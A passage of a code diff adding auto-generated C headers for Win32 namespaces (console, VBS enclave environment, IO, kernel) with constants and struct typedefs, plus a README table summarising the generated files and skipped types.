#define CHAR_TYPE_LEADING 0x2
|
||||
#define CHAR_TYPE_TRAILING 0x3
|
||||
#define CONSOLE_HANDLE_SIGNATURE 0x3
|
||||
#define CONSOLE_HANDLE_NEVERSET 0x10000000
|
||||
// SKIPPED const CONSOLE_INPUT_STRING: non-integer constant
|
||||
// SKIPPED const CONSOLE_OUTPUT_STRING: non-integer constant
|
||||
// SKIPPED const CONSOLE_GENERIC: non-integer constant
|
||||
#define PID_CONSOLE_FORCEV2 0x1
|
||||
#define PID_CONSOLE_WRAPTEXT 0x2
|
||||
#define PID_CONSOLE_FILTERONPASTE 0x3
|
||||
#define PID_CONSOLE_CTRLKEYSDISABLED 0x4
|
||||
#define PID_CONSOLE_LINESELECTION 0x5
|
||||
#define PID_CONSOLE_WINDOWTRANSPARENCY 0x6
|
||||
#define PID_CONSOLE_WINDOWMAXIMIZED 0x7
|
||||
#define PID_CONSOLE_CURSOR_TYPE 0x8
|
||||
#define PID_CONSOLE_CURSOR_COLOR 0x9
|
||||
#define PID_CONSOLE_INTERCEPT_COPY_PASTE 0xa
|
||||
#define PID_CONSOLE_DEFAULTFOREGROUND 0xb
|
||||
#define PID_CONSOLE_DEFAULTBACKGROUND 0xc
|
||||
#define PID_CONSOLE_TERMINALSCROLLING 0xd
|
||||
#define ATTACH_PARENT_PROCESS 0xffffffff
|
||||
#define CTRL_C_EVENT 0x0
|
||||
#define CTRL_BREAK_EVENT 0x1
|
||||
#define CTRL_CLOSE_EVENT 0x2
|
||||
#define CTRL_LOGOFF_EVENT 0x5
|
||||
#define CTRL_SHUTDOWN_EVENT 0x6
|
||||
#define PSEUDOCONSOLE_INHERIT_CURSOR 0x1
|
||||
#define CONSOLE_NO_SELECTION 0x0
|
||||
#define CONSOLE_SELECTION_IN_PROGRESS 0x1
|
||||
#define CONSOLE_SELECTION_NOT_EMPTY 0x2
|
||||
#define CONSOLE_MOUSE_SELECTION 0x4
|
||||
#define CONSOLE_MOUSE_DOWN 0x8
|
||||
#define HISTORY_NO_DUP_FLAG 0x1
|
||||
#define CONSOLE_FULLSCREEN 0x1
|
||||
#define CONSOLE_FULLSCREEN_HARDWARE 0x2
|
||||
#define CONSOLE_FULLSCREEN_MODE 0x1
|
||||
#define CONSOLE_WINDOWED_MODE 0x2
|
||||
#define RIGHT_ALT_PRESSED 0x1
|
||||
#define LEFT_ALT_PRESSED 0x2
|
||||
#define RIGHT_CTRL_PRESSED 0x4
|
||||
#define LEFT_CTRL_PRESSED 0x8
|
||||
#define SHIFT_PRESSED 0x10
|
||||
#define NUMLOCK_ON 0x20
|
||||
#define SCROLLLOCK_ON 0x40
|
||||
#define CAPSLOCK_ON 0x80
|
||||
#define ENHANCED_KEY 0x100
|
||||
#define NLS_DBCSCHAR 0x10000
|
||||
#define NLS_ALPHANUMERIC 0x0
|
||||
#define NLS_KATAKANA 0x20000
|
||||
#define NLS_HIRAGANA 0x40000
|
||||
#define NLS_ROMAN 0x400000
|
||||
#define NLS_IME_CONVERSION 0x800000
|
||||
#define ALTNUMPAD_BIT 0x4000000
|
||||
#define NLS_IME_DISABLE 0x20000000
|
||||
#define FROM_LEFT_1ST_BUTTON_PRESSED 0x1
|
||||
#define RIGHTMOST_BUTTON_PRESSED 0x2
|
||||
#define FROM_LEFT_2ND_BUTTON_PRESSED 0x4
|
||||
#define FROM_LEFT_3RD_BUTTON_PRESSED 0x8
|
||||
#define FROM_LEFT_4TH_BUTTON_PRESSED 0x10
|
||||
#define MOUSE_MOVED 0x1
|
||||
#define DOUBLE_CLICK 0x2
|
||||
#define MOUSE_WHEELED 0x4
|
||||
#define MOUSE_HWHEELED 0x8
|
||||
#define KEY_EVENT 0x1
|
||||
#define MOUSE_EVENT 0x2
|
||||
#define WINDOW_BUFFER_SIZE_EVENT 0x4
|
||||
#define MENU_EVENT 0x8
|
||||
#define FOCUS_EVENT 0x10
|
||||
#define ALLOC_CONSOLE_RESULT_NO_CONSOLE 0
|
||||
#define ALLOC_CONSOLE_RESULT_NEW_CONSOLE 1
|
||||
#define ALLOC_CONSOLE_RESULT_EXISTING_CONSOLE 2
|
||||
#define ENABLE_PROCESSED_INPUT 0x1
|
||||
#define ENABLE_LINE_INPUT 0x2
|
||||
#define ENABLE_ECHO_INPUT 0x4
|
||||
#define ENABLE_WINDOW_INPUT 0x8
|
||||
#define ENABLE_MOUSE_INPUT 0x10
|
||||
#define ENABLE_INSERT_MODE 0x20
|
||||
#define ENABLE_QUICK_EDIT_MODE 0x40
|
||||
#define ENABLE_EXTENDED_FLAGS 0x80
|
||||
#define ENABLE_AUTO_POSITION 0x100
|
||||
#define ENABLE_VIRTUAL_TERMINAL_INPUT 0x200
|
||||
#define ENABLE_PROCESSED_OUTPUT 0x1
|
||||
#define ENABLE_WRAP_AT_EOL_OUTPUT 0x2
|
||||
#define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x4
|
||||
#define DISABLE_NEWLINE_AUTO_RETURN 0x8
|
||||
#define ENABLE_LVB_GRID_WORLDWIDE 0x10
|
||||
#define FOREGROUND_BLUE 0x1
|
||||
#define FOREGROUND_GREEN 0x2
|
||||
#define FOREGROUND_RED 0x4
|
||||
#define FOREGROUND_INTENSITY 0x8
|
||||
#define BACKGROUND_BLUE 0x10
|
||||
#define BACKGROUND_GREEN 0x20
|
||||
#define BACKGROUND_RED 0x40
|
||||
#define BACKGROUND_INTENSITY 0x80
|
||||
#define COMMON_LVB_LEADING_BYTE 0x100
|
||||
#define COMMON_LVB_TRAILING_BYTE 0x200
|
||||
#define COMMON_LVB_GRID_HORIZONTAL 0x400
|
||||
#define COMMON_LVB_GRID_LVERTICAL 0x800
|
||||
#define COMMON_LVB_GRID_RVERTICAL 0x1000
|
||||
#define COMMON_LVB_REVERSE_VIDEO 0x4000
|
||||
#define COMMON_LVB_UNDERSCORE 0x8000
|
||||
#define COMMON_LVB_SBCSDBCS 0x300
|
||||
#define STD_INPUT_HANDLE 0xfffffff6
|
||||
#define STD_OUTPUT_HANDLE 0xfffffff5
|
||||
#define STD_ERROR_HANDLE 0xfffffff4
|
||||
#define Reserved1 0
|
||||
#define ConsoleNotifyConsoleApplication 1
|
||||
#define Reserved2 2
|
||||
#define ConsoleSetCaretInfo 3
|
||||
#define Reserved3 4
|
||||
#define ConsoleSetForeground 5
|
||||
#define ConsoleSetWindowOwner 6
|
||||
#define ConsoleEndTask 7
|
||||
#define ALLOC_CONSOLE_MODE_DEFAULT 0
|
||||
#define ALLOC_CONSOLE_MODE_NEW_WINDOW 1
|
||||
#define ALLOC_CONSOLE_MODE_NO_WINDOW 2
|
||||
|
||||
typedef struct _ALLOC_CONSOLE_OPTIONS {
|
||||
void* mode;
|
||||
BOOL useShowWindow;
|
||||
unsigned short showWindow;
|
||||
} ALLOC_CONSOLE_OPTIONS;
|
||||
|
||||
typedef struct _CONSOLE_HISTORY_INFO {
|
||||
unsigned int cbSize;
|
||||
unsigned int HistoryBufferSize;
|
||||
unsigned int NumberOfHistoryBuffers;
|
||||
unsigned int dwFlags;
|
||||
} CONSOLE_HISTORY_INFO;
|
||||
|
||||
typedef struct _CONSOLE_CARET_INFO {
|
||||
void* hwnd;
|
||||
void* rc;
|
||||
} CONSOLE_CARET_INFO;
|
||||
|
||||
typedef struct _HPCON {
|
||||
long long Value;
|
||||
} HPCON;
|
||||
|
||||
typedef struct _KEY_EVENT_RECORD {
|
||||
BOOL bKeyDown;
|
||||
unsigned short wRepeatCount;
|
||||
unsigned short wVirtualKeyCode;
|
||||
unsigned short wVirtualScanCode;
|
||||
void* uChar;
|
||||
unsigned int dwControlKeyState;
|
||||
} KEY_EVENT_RECORD;
|
||||
|
||||
typedef struct _CONSOLE_SCREEN_BUFFER_INFO {
|
||||
void* dwSize;
|
||||
void* dwCursorPosition;
|
||||
void* wAttributes;
|
||||
void* srWindow;
|
||||
void* dwMaximumWindowSize;
|
||||
} CONSOLE_SCREEN_BUFFER_INFO;
|
||||
|
||||
typedef struct _CONSOLE_SCREEN_BUFFER_INFOEX {
|
||||
unsigned int cbSize;
|
||||
void* dwSize;
|
||||
void* dwCursorPosition;
|
||||
void* wAttributes;
|
||||
void* srWindow;
|
||||
void* dwMaximumWindowSize;
|
||||
unsigned short wPopupAttributes;
|
||||
BOOL bFullscreenSupported;
|
||||
void* ColorTable[16];
|
||||
} CONSOLE_SCREEN_BUFFER_INFOEX;
|
||||
|
||||
typedef struct _INPUT_RECORD {
|
||||
unsigned short EventType;
|
||||
void* Event;
|
||||
} INPUT_RECORD;
|
||||
|
||||
typedef struct _ExtKeySubst {
|
||||
unsigned short wMod;
|
||||
unsigned short wVirKey;
|
||||
unsigned short wUnicodeChar;
|
||||
} ExtKeySubst;
|
||||
|
||||
typedef struct _CONSOLEWINDOWOWNER {
|
||||
void* hwnd;
|
||||
unsigned int ProcessId;
|
||||
unsigned int ThreadId;
|
||||
} CONSOLEWINDOWOWNER;
|
||||
|
||||
typedef struct _SMALL_RECT {
|
||||
short Left;
|
||||
short Top;
|
||||
short Right;
|
||||
short Bottom;
|
||||
} SMALL_RECT;
|
||||
|
||||
typedef struct _MENU_EVENT_RECORD {
|
||||
unsigned int dwCommandId;
|
||||
} MENU_EVENT_RECORD;
|
||||
|
||||
typedef struct _CONSOLE_FONT_INFO {
|
||||
unsigned int nFont;
|
||||
void* dwFontSize;
|
||||
} CONSOLE_FONT_INFO;
|
||||
|
||||
typedef struct _CONSOLE_READCONSOLE_CONTROL {
|
||||
unsigned int nLength;
|
||||
unsigned int nInitialChars;
|
||||
unsigned int dwCtrlWakeupMask;
|
||||
unsigned int dwControlKeyState;
|
||||
} CONSOLE_READCONSOLE_CONTROL;
|
||||
|
||||
typedef struct _CONSOLE_CURSOR_INFO {
|
||||
unsigned int dwSize;
|
||||
BOOL bVisible;
|
||||
} CONSOLE_CURSOR_INFO;
|
||||
|
||||
typedef struct _CONSOLE_SELECTION_INFO {
|
||||
unsigned int dwFlags;
|
||||
void* dwSelectionAnchor;
|
||||
void* srSelection;
|
||||
} CONSOLE_SELECTION_INFO;
|
||||
|
||||
typedef struct _CONSOLESETFOREGROUND {
|
||||
void* hProcess;
|
||||
BOOL bForeground;
|
||||
} CONSOLESETFOREGROUND;
|
||||
|
||||
typedef struct _CONSOLE_FONT_INFOEX {
|
||||
unsigned int cbSize;
|
||||
unsigned int nFont;
|
||||
void* dwFontSize;
|
||||
unsigned int FontFamily;
|
||||
unsigned int FontWeight;
|
||||
unsigned short FaceName[32];
|
||||
} CONSOLE_FONT_INFOEX;
|
||||
|
||||
typedef struct _APPKEY {
|
||||
unsigned short Modifier;
|
||||
unsigned short ScanCode;
|
||||
} APPKEY;
|
||||
|
||||
typedef struct _CONSOLEENDTASK {
|
||||
void* ProcessId;
|
||||
void* hwnd;
|
||||
unsigned int ConsoleEventCode;
|
||||
unsigned int ConsoleFlags;
|
||||
} CONSOLEENDTASK;
|
||||
|
||||
typedef struct _ExtKeyDef {
|
||||
void* keys[3];
|
||||
} ExtKeyDef;
|
||||
|
||||
typedef struct _MOUSE_EVENT_RECORD {
|
||||
void* dwMousePosition;
|
||||
unsigned int dwButtonState;
|
||||
unsigned int dwControlKeyState;
|
||||
unsigned int dwEventFlags;
|
||||
} MOUSE_EVENT_RECORD;
|
||||
|
||||
typedef struct _CHAR_INFO {
|
||||
void* Char;
|
||||
unsigned short Attributes;
|
||||
} CHAR_INFO;
|
||||
|
||||
typedef struct _CONSOLE_GRAPHICS_BUFFER_INFO {
|
||||
unsigned int dwBitMapInfoLength;
|
||||
void* lpBitMapInfo;
|
||||
unsigned int dwUsage;
|
||||
void* hMutex;
|
||||
void* lpBitMap;
|
||||
} CONSOLE_GRAPHICS_BUFFER_INFO;
|
||||
|
||||
typedef struct _FOCUS_EVENT_RECORD {
|
||||
BOOL bSetFocus;
|
||||
} FOCUS_EVENT_RECORD;
|
||||
|
||||
typedef struct _WINDOW_BUFFER_SIZE_RECORD {
|
||||
void* dwSize;
|
||||
} WINDOW_BUFFER_SIZE_RECORD;
|
||||
|
||||
typedef struct _CONSOLE_PROCESS_INFO {
|
||||
unsigned int dwProcessID;
|
||||
unsigned int dwFlags;
|
||||
} CONSOLE_PROCESS_INFO;
|
||||
|
||||
typedef struct _COORD {
|
||||
short X;
|
||||
short Y;
|
||||
} COORD;
|
||||
|
||||
typedef struct _ExtKeyDefBuf {
|
||||
unsigned int dwVersion;
|
||||
unsigned int dwCheckSum;
|
||||
void* table[26];
|
||||
} ExtKeyDefBuf;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,154 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.Environment`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define ENCLAVE_RUNTIME_POLICY_ALLOW_FULL_DEBUG 0x1
|
||||
#define ENCLAVE_RUNTIME_POLICY_ALLOW_DYNAMIC_DEBUG 0x2
|
||||
#define ENCLAVE_UNSEAL_FLAG_STALE_KEY 0x1
|
||||
#define ENCLAVE_FLAG_FULL_DEBUG_ENABLED 0x1
|
||||
#define ENCLAVE_FLAG_DYNAMIC_DEBUG_ENABLED 0x2
|
||||
#define ENCLAVE_FLAG_DYNAMIC_DEBUG_ACTIVE 0x4
|
||||
#define VBS_ENCLAVE_REPORT_PKG_HEADER_VERSION_CURRENT 0x1
|
||||
#define VBS_ENCLAVE_REPORT_SIGNATURE_SCHEME_SHA256_RSA_PSS_SHA256 0x1
|
||||
#define VBS_ENCLAVE_REPORT_VERSION_CURRENT 0x1
|
||||
#define ENCLAVE_REPORT_DATA_LENGTH 0x40
|
||||
#define VBS_ENCLAVE_VARDATA_INVALID 0x0
|
||||
#define VBS_ENCLAVE_VARDATA_MODULE 0x1
|
||||
#define ENCLAVE_VBS_BASIC_KEY_FLAG_MEASUREMENT 0x1
|
||||
#define ENCLAVE_VBS_BASIC_KEY_FLAG_FAMILY_ID 0x2
|
||||
#define ENCLAVE_VBS_BASIC_KEY_FLAG_IMAGE_ID 0x4
|
||||
#define ENCLAVE_VBS_BASIC_KEY_FLAG_DEBUG_KEY 0x8
|
||||
#define ENCLAVE_IDENTITY_POLICY_SEAL_INVALID 0
|
||||
#define ENCLAVE_IDENTITY_POLICY_SEAL_EXACT_CODE 1
|
||||
#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_PRIMARY_CODE 2
|
||||
#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_IMAGE 3
|
||||
#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_FAMILY 4
|
||||
#define ENCLAVE_IDENTITY_POLICY_SEAL_SAME_AUTHOR 5
|
||||
|
||||
typedef struct _TRUSTLET_BINDING_DATA {
|
||||
unsigned long long TrustletIdentity;
|
||||
void* TrustletSessionId;
|
||||
unsigned int TrustletSvn;
|
||||
unsigned int Reserved1;
|
||||
unsigned long long Reserved2;
|
||||
} TRUSTLET_BINDING_DATA;
|
||||
|
||||
typedef struct _VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR64 {
|
||||
unsigned long long ThreadContext[4];
|
||||
unsigned long long EntryPoint;
|
||||
unsigned long long StackPointer;
|
||||
unsigned long long ExceptionEntryPoint;
|
||||
unsigned long long ExceptionStack;
|
||||
unsigned int ExceptionActive;
|
||||
} VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR64;
|
||||
|
||||
typedef struct _VBS_BASIC_ENCLAVE_EXCEPTION_AMD64 {
|
||||
unsigned int ExceptionCode;
|
||||
unsigned int NumberParameters;
|
||||
unsigned long long ExceptionInformation[3];
|
||||
unsigned long long ExceptionRAX;
|
||||
unsigned long long ExceptionRCX;
|
||||
unsigned long long ExceptionRIP;
|
||||
unsigned long long ExceptionRFLAGS;
|
||||
unsigned long long ExceptionRSP;
|
||||
} VBS_BASIC_ENCLAVE_EXCEPTION_AMD64;
|
||||
|
||||
typedef struct _VBS_ENCLAVE_REPORT_VARDATA_HEADER {
|
||||
unsigned int DataType;
|
||||
unsigned int Size;
|
||||
} VBS_ENCLAVE_REPORT_VARDATA_HEADER;
|
||||
|
||||
typedef struct _VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR32 {
|
||||
unsigned int ThreadContext[4];
|
||||
unsigned int EntryPoint;
|
||||
unsigned int StackPointer;
|
||||
unsigned int ExceptionEntryPoint;
|
||||
unsigned int ExceptionStack;
|
||||
unsigned int ExceptionActive;
|
||||
} VBS_BASIC_ENCLAVE_THREAD_DESCRIPTOR32;
|
||||
|
||||
typedef struct _VBS_BASIC_ENCLAVE_SYSCALL_PAGE {
|
||||
void* ReturnFromEnclave;
|
||||
void* ReturnFromException;
|
||||
void* TerminateThread;
|
||||
void* InterruptThread;
|
||||
void* CommitPages;
|
||||
void* DecommitPages;
|
||||
void* ProtectPages;
|
||||
void* CreateThread;
|
||||
void* GetEnclaveInformation;
|
||||
void* GenerateKey;
|
||||
void* GenerateReport;
|
||||
void* VerifyReport;
|
||||
void* GenerateRandomData;
|
||||
} VBS_BASIC_ENCLAVE_SYSCALL_PAGE;
|
||||
|
||||
typedef struct _VBS_ENCLAVE_REPORT_PKG_HEADER {
|
||||
unsigned int PackageSize;
|
||||
unsigned int Version;
|
||||
unsigned int SignatureScheme;
|
||||
unsigned int SignedStatementSize;
|
||||
unsigned int SignatureSize;
|
||||
unsigned int Reserved;
|
||||
} VBS_ENCLAVE_REPORT_PKG_HEADER;
|
||||
|
||||
typedef struct _PS_TRUSTLET_TKSESSION_ID {
|
||||
unsigned long long SessionId[4];
|
||||
} PS_TRUSTLET_TKSESSION_ID;
|
||||
|
||||
typedef struct _ENCLAVE_INFORMATION {
|
||||
unsigned int EnclaveType;
|
||||
unsigned int Reserved;
|
||||
void* BaseAddress;
|
||||
unsigned long long Size;
|
||||
void* Identity;
|
||||
} ENCLAVE_INFORMATION;
|
||||
|
||||
typedef struct _ENCLAVE_IDENTITY {
|
||||
unsigned char OwnerId[32];
|
||||
unsigned char UniqueId[32];
|
||||
unsigned char AuthorId[32];
|
||||
unsigned char FamilyId[16];
|
||||
unsigned char ImageId[16];
|
||||
unsigned int EnclaveSvn;
|
||||
unsigned int SecureKernelSvn;
|
||||
unsigned int PlatformSvn;
|
||||
unsigned int Flags;
|
||||
unsigned int SigningLevel;
|
||||
unsigned int EnclaveType;
|
||||
} ENCLAVE_IDENTITY;
|
||||
|
||||
typedef struct _ENCLAVE_VBS_BASIC_KEY_REQUEST {
|
||||
unsigned int RequestSize;
|
||||
unsigned int Flags;
|
||||
unsigned int EnclaveSVN;
|
||||
unsigned int SystemKeyID;
|
||||
unsigned int CurrentSystemKeyID;
|
||||
} ENCLAVE_VBS_BASIC_KEY_REQUEST;
|
||||
|
||||
typedef struct _VBS_ENCLAVE_REPORT {
|
||||
unsigned int ReportSize;
|
||||
unsigned int ReportVersion;
|
||||
unsigned char EnclaveData[64];
|
||||
void* EnclaveIdentity;
|
||||
} VBS_ENCLAVE_REPORT;
|
||||
|
||||
typedef struct _VBS_ENCLAVE_REPORT_MODULE {
|
||||
void* Header;
|
||||
unsigned char UniqueId[32];
|
||||
unsigned char AuthorId[32];
|
||||
unsigned char FamilyId[16];
|
||||
unsigned char ImageId[16];
|
||||
unsigned int Svn;
|
||||
unsigned short ModuleName[1];
|
||||
} VBS_ENCLAVE_REPORT_MODULE;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,56 @@
|
||||
# Generated Win32 headers
|
||||
|
||||
Produced by `entc-win32gen`. Each row is one namespace.
|
||||
|
||||
| Namespace | File | Structs | Constants | Skipped |
|
||||
|---|---|---:|---:|---:|
|
||||
| Windows.Win32.Foundation | `foundation.h` | 42 | 10495 | 0 |
|
||||
| Windows.Win32.System.Memory | `memory.h` | 18 | 144 | 0 |
|
||||
| Windows.Win32.System.Threading | `threading.h` | 45 | 560 | 0 |
|
||||
| Windows.Win32.System.Diagnostics.Debug | `debug.h` | 241 | 1678 | 1 |
|
||||
| Windows.Win32.System.WindowsProgramming | `windowsprogramming.h` | 67 | 645 | 4 |
|
||||
| Windows.Win32.System.Kernel | `kernel.h` | 22 | 43 | 0 |
|
||||
| Windows.Win32.System.IO | `io.h` | 3 | 0 | 0 |
|
||||
| Windows.Win32.System.LibraryLoader | `libraryloader.h` | 3 | 28 | 0 |
|
||||
| Windows.Win32.System.Console | `console.h` | 29 | 141 | 0 |
|
||||
| Windows.Win32.System.Pipes | `pipes.h` | 0 | 14 | 0 |
|
||||
| Windows.Win32.System.Registry | `registry.h` | 8 | 951 | 0 |
|
||||
| Windows.Win32.System.SystemServices | `systemservices.h` | 176 | 2378 | 0 |
|
||||
| Windows.Win32.System.SystemInformation | `systeminformation.h` | 22 | 484 | 0 |
|
||||
| Windows.Win32.System.Environment | `environment.h` | 13 | 22 | 0 |
|
||||
| Windows.Win32.Security | `security.h` | 76 | 390 | 0 |
|
||||
| Windows.Win32.Security.Authorization | `authorization.h` | 50 | 487 | 3 |
|
||||
| Windows.Win32.Security.Cryptography | `cryptography.h` | 457 | 3979 | 5 |
|
||||
| Windows.Win32.Storage.FileSystem | `filesystem.h` | 191 | 984 | 0 |
|
||||
| Windows.Win32.Networking.WinSock | `winsock.h` | 259 | 1617 | 0 |
|
||||
| Windows.Win32.Networking.WinHttp | `winhttp.h` | 40 | 743 | 1 |
|
||||
| Windows.Win32.Networking.WinInet | `wininet.h` | 77 | 1087 | 1 |
|
||||
|
||||
## Skipped types
|
||||
|
||||
### Windows.Win32.Networking.WinHttp
|
||||
- struct WinHttpRequest: no representable fields
|
||||
|
||||
### Windows.Win32.Networking.WinInet
|
||||
- struct ProofOfPossessionCookieInfoManager: no representable fields
|
||||
|
||||
### Windows.Win32.Security.Authorization
|
||||
- struct AzBizRuleContext: no representable fields
|
||||
- struct AzAuthorizationStore: no representable fields
|
||||
- struct AzPrincipalLocator: no representable fields
|
||||
|
||||
### Windows.Win32.Security.Cryptography
|
||||
- struct CCertSrvSetupKeyInformation: no representable fields
|
||||
- struct CCertificateEnrollmentPolicyServerSetup: no representable fields
|
||||
- struct CCertificateEnrollmentServerSetup: no representable fields
|
||||
- struct CCertSrvSetup: no representable fields
|
||||
- struct CMSCEPSetup: no representable fields
|
||||
|
||||
### Windows.Win32.System.Diagnostics.Debug
|
||||
- struct ARM64_NT_NEON128: floating-point fields not supported
|
||||
|
||||
### Windows.Win32.System.WindowsProgramming
|
||||
- struct EditionUpgradeHelper: no representable fields
|
||||
- struct CameraUIControl: no representable fields
|
||||
- struct DefaultBrowserSyncSettings: no representable fields
|
||||
- struct EditionUpgradeBroker: no representable fields
|
||||
@@ -0,0 +1,32 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.IO`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
typedef struct _OVERLAPPED_ENTRY {
|
||||
unsigned long long lpCompletionKey;
|
||||
void* lpOverlapped;
|
||||
unsigned long long Internal;
|
||||
unsigned int dwNumberOfBytesTransferred;
|
||||
} OVERLAPPED_ENTRY;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
void* Anonymous;
|
||||
unsigned long long Information;
|
||||
} IO_STATUS_BLOCK;
|
||||
|
||||
typedef struct _OVERLAPPED {
|
||||
unsigned long long Internal;
|
||||
unsigned long long InternalHigh;
|
||||
void* Anonymous;
|
||||
void* hEvent;
|
||||
} OVERLAPPED;
|
||||
|
||||
@@ -0,0 +1,186 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.Kernel`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define OBJ_HANDLE_TAGBITS 3
|
||||
#define RTL_BALANCED_NODE_RESERVED_PARENT_MASK 0x3
|
||||
#define NULL64 0x0
|
||||
#define MAXUCHAR 0xff
|
||||
#define MAXUSHORT 0xffff
|
||||
#define MAXULONG 0xffffffff
|
||||
#define NotificationTimer 0
|
||||
#define SynchronizationTimer 1
|
||||
#define ExceptionContinueExecution 0
|
||||
#define ExceptionContinueSearch 1
|
||||
#define ExceptionNestedException 2
|
||||
#define ExceptionCollidedUnwind 3
|
||||
#define WaitAll 0
|
||||
#define WaitAny 1
|
||||
#define WaitNotification 2
|
||||
#define WaitDequeue 3
|
||||
#define WaitDpc 4
|
||||
#define NotificationEvent 0
|
||||
#define SynchronizationEvent 1
|
||||
#define NtProductWinNt 1
|
||||
#define NtProductLanManNt 2
|
||||
#define NtProductServer 3
|
||||
#define SmallBusiness 0
|
||||
#define Enterprise 1
|
||||
#define BackOffice 2
|
||||
#define CommunicationServer 3
|
||||
#define TerminalServer 4
|
||||
#define SmallBusinessRestricted 5
|
||||
#define EmbeddedNT 6
|
||||
#define DataCenter 7
|
||||
#define SingleUserTS 8
|
||||
#define Personal 9
|
||||
#define Blade 10
|
||||
#define EmbeddedRestricted 11
|
||||
#define SecurityAppliance 12
|
||||
#define StorageServer 13
|
||||
#define ComputeServer 14
|
||||
#define WHServer 15
|
||||
#define PhoneNT 16
|
||||
#define MultiUserTS 17
|
||||
#define MaxSuiteType 18
|
||||
#define UNSPECIFIED_COMPARTMENT_ID 0
|
||||
#define DEFAULT_COMPARTMENT_ID 1
|
||||
|
||||
typedef struct _WNF_STATE_NAME {
|
||||
unsigned int Data[2];
|
||||
} WNF_STATE_NAME;
|
||||
|
||||
typedef struct _STRING64 {
|
||||
unsigned short Length;
|
||||
unsigned short MaximumLength;
|
||||
unsigned long long Buffer;
|
||||
} STRING64;
|
||||
|
||||
typedef struct _OBJECTID {
|
||||
void* Lineage;
|
||||
unsigned int Uniquifier;
|
||||
} OBJECTID;
|
||||
|
||||
typedef struct _NT_TIB {
|
||||
void* ExceptionList;
|
||||
void* StackBase;
|
||||
void* StackLimit;
|
||||
void* SubSystemTib;
|
||||
void* Anonymous;
|
||||
void* ArbitraryUserPointer;
|
||||
void* Self;
|
||||
} NT_TIB;
|
||||
|
||||
typedef struct _STRING {
|
||||
unsigned short Length;
|
||||
unsigned short MaximumLength;
|
||||
void* Buffer;
|
||||
} STRING;
|
||||
|
||||
typedef struct _EXCEPTION_REGISTRATION_RECORD {
|
||||
void* Next;
|
||||
void* Handler;
|
||||
} EXCEPTION_REGISTRATION_RECORD;
|
||||
|
||||
typedef struct _CSTRING {
|
||||
unsigned short Length;
|
||||
unsigned short MaximumLength;
|
||||
void* Buffer;
|
||||
} CSTRING;
|
||||
|
||||
typedef struct _SLIST_HEADER {
|
||||
void* Anonymous;
|
||||
void* HeaderArm64;
|
||||
} SLIST_HEADER;
|
||||
|
||||
typedef struct _SLIST_HEADER {
|
||||
void* Anonymous;
|
||||
void* HeaderX64;
|
||||
} SLIST_HEADER;
|
||||
|
||||
typedef struct _SLIST_HEADER {
|
||||
unsigned long long Alignment;
|
||||
void* Anonymous;
|
||||
} SLIST_HEADER;
|
||||
|
||||
typedef struct _LIST_ENTRY32 {
|
||||
unsigned int Flink;
|
||||
unsigned int Blink;
|
||||
} LIST_ENTRY32;
|
||||
|
||||
typedef struct _SINGLE_LIST_ENTRY {
|
||||
void* Next;
|
||||
} SINGLE_LIST_ENTRY;
|
||||
|
||||
typedef struct _LIST_ENTRY {
|
||||
void* Flink;
|
||||
void* Blink;
|
||||
} LIST_ENTRY;
|
||||
|
||||
typedef struct _STRING32 {
|
||||
unsigned short Length;
|
||||
unsigned short MaximumLength;
|
||||
unsigned int Buffer;
|
||||
} STRING32;
|
||||
|
||||
typedef struct _PROCESSOR_NUMBER {
|
||||
unsigned short Group;
|
||||
unsigned char Number;
|
||||
unsigned char Reserved;
|
||||
} PROCESSOR_NUMBER;
|
||||
|
||||
typedef struct _QUAD {
|
||||
void* Anonymous;
|
||||
} QUAD;
|
||||
|
||||
typedef struct _SLIST_ENTRY {
|
||||
void* Next;
|
||||
} SLIST_ENTRY;
|
||||
|
||||
typedef struct _SINGLE_LIST_ENTRY32 {
|
||||
unsigned int Next;
|
||||
} SINGLE_LIST_ENTRY32;
|
||||
|
||||
typedef struct _RTL_BALANCED_NODE {
|
||||
void* Anonymous1;
|
||||
void* Anonymous2;
|
||||
} RTL_BALANCED_NODE;
|
||||
|
||||
typedef struct _FLOATING_SAVE_AREA {
|
||||
unsigned int ControlWord;
|
||||
unsigned int StatusWord;
|
||||
unsigned int TagWord;
|
||||
unsigned int ErrorOffset;
|
||||
unsigned int ErrorSelector;
|
||||
unsigned int DataOffset;
|
||||
unsigned int DataSelector;
|
||||
unsigned char RegisterArea[80];
|
||||
unsigned int Cr0NpxState;
|
||||
} FLOATING_SAVE_AREA;
|
||||
|
||||
typedef struct _FLOATING_SAVE_AREA {
|
||||
unsigned int ControlWord;
|
||||
unsigned int StatusWord;
|
||||
